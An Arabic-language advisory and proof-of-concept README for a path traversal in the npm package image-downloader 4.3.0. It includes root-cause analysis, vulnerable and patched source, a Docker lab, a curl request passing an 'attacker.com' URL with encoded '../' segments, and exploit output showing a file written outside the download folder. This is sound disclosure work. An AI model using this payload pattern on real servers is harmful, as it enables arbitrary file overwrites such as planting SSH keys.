
استشارة وإثبات مفهوم لـ CVE-2026-103648، وهو اجتياز مسار (CWE-22) في image-downloader 4.3.0 يتيح الكتابة التعسفية للملفات، مع تحليل السبب الجذري، وفرق التصحيح، ومختبر Docker.
image-downloader
اكتُشفت بواسطة: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ لأغراض تعليمية فقط. يوثّق هذا المستودع ثغرة أُفصح عنها بمسؤولية. جميع أكواد إثبات المفهوم مخصّصة للبحث الأمني المصرّح به والاختبار في بيئات معملية معزولة فقط. لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا باختبارها.
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-103648 |
| مدخل NVD | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| درجة CVSS v3.1 | 9.1 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: التقييد غير الصحيح لاسم المسار إلى دليل مقيّد |
| الحزمة | image-downloader (npm) بواسطة demsking |
| التنزيلات الأسبوعية من npm | ~11,000 (~38,000/شهريًا) — المصدر |
| الإصدارات المتأثرة | < 4.3.1 (جميع الإصدارات بما فيها 4.3.0) |
| الإصدار المُصلَّح | 4.3.1 |
| مُعيَّن بواسطة | GitLab |
| تاريخ النشر | 2026-10-02 |
| المُبلِّغ | Amirhossein Roustaei (@EterNullSec)، Eternull Security |
توجد الثغرة في منطق استخراج اسم الملف في [email protected]. هذا هو المصدر الفعلي للإصدار المتأثر (index.js، مأخوذ مباشرةً من حزمة npm المنشورة):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) على مسار URL الذي لا يزال مُرمَّزًا بنسبة مئوية. تسلسل مثل %2e%2e%2fpwned.sh لا يحتوي على / حرفي، لذا يعامل path.basename() الكل كاسم ملف واحد ويعيده دون تغيير — لا يُزال أي شيء.decodeURIComponent(). هذه هي الخطوة التي تعيد %2e%2e%2f إلى ../ حرفي — لكنها في هذه المرحلة قد نجت بالفعل من خطوة basename التي كان يُفترض أن تُطهّرها.path.join(options.dest, decodedBasename) بسلسلة تحتوي الآن على مقطع ../ حقيقي. يُطبّع path.join() الرمز .. بنفس طريقة cd .. — لذا يُحلّ مسار الكتابة النهائي إلى موقع خارج options.dest.باختصار: يفكّ الكود ترميز اسم الملف بالطريقة الصحيحة، لكن بترتيب خاطئ بالنسبة إلى path.basename(). فك الترميز ثم basename آمن؛ أما basename ثم فك الترميز فليس كذلك.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
يوضّح هذا المعمل آلية الخلل من البداية إلى النهاية في سكربت واحد لسهولة إعادة الإنتاج، لكن يجدر ذكر نموذج الهجوم الواقعي صراحةً:
download.image({ url, dest }) من image-downloader بقيمة url لم يتحكّم بها بالكامل بنفسه — مثل URL يُرسله مستخدم (ميزات استيراد الصور الرمزية/الصور)، أو يُسحب من حمولة webhook، أو يُقرأ من خلاصة RSS/محتوى.url الخاص بالضحية، ويتحكّم في مكوّن المسار لذلك URL — وهذا كافٍ بحد ذاته، لأن الاجتياز يكمن في مسار URL (%2e%2e%2f...)، وليس في جسم الاستجابة.authorized_keys، أو ملف تنفيذي يشغّله التطبيق لاحقًا).في exploit/exploit.py، دُمج دورا المهاجم والضحية في سكربت واحد لتسهيل المعمل (فهو يُقيم كلاً من طلب خادم "الضحية" وخادم الحمولة الذي يتحكّم به المهاجم). في سيناريو استغلال حقيقي، هذان طرفان منفصلان وغير مرتبطان — وقد بُني إثبات المفهوم بهذه الطريقة فقط لجعل الثغرة قابلة لإعادة الإنتاج بأمر واحد.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
سيكون الخادم المتأثر متاحًا على http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
أو يدويًا باستخدام curl (الاجتياز في مسار URL، وليس في جسم الاستجابة):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec
أُصلحت في 4.3.1 (commit fb44543). هذا هو المصدر المُرقَّع الفعلي:
// [email protected] — index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
const decoded = decodeURIComponent(pathname); // ✅ decode FIRST
if (decoded.includes('\0')) {
throw invalidFilename('the URL path contains a NUL byte');
}
return path.basename(decoded); // ✅ THEN basename
};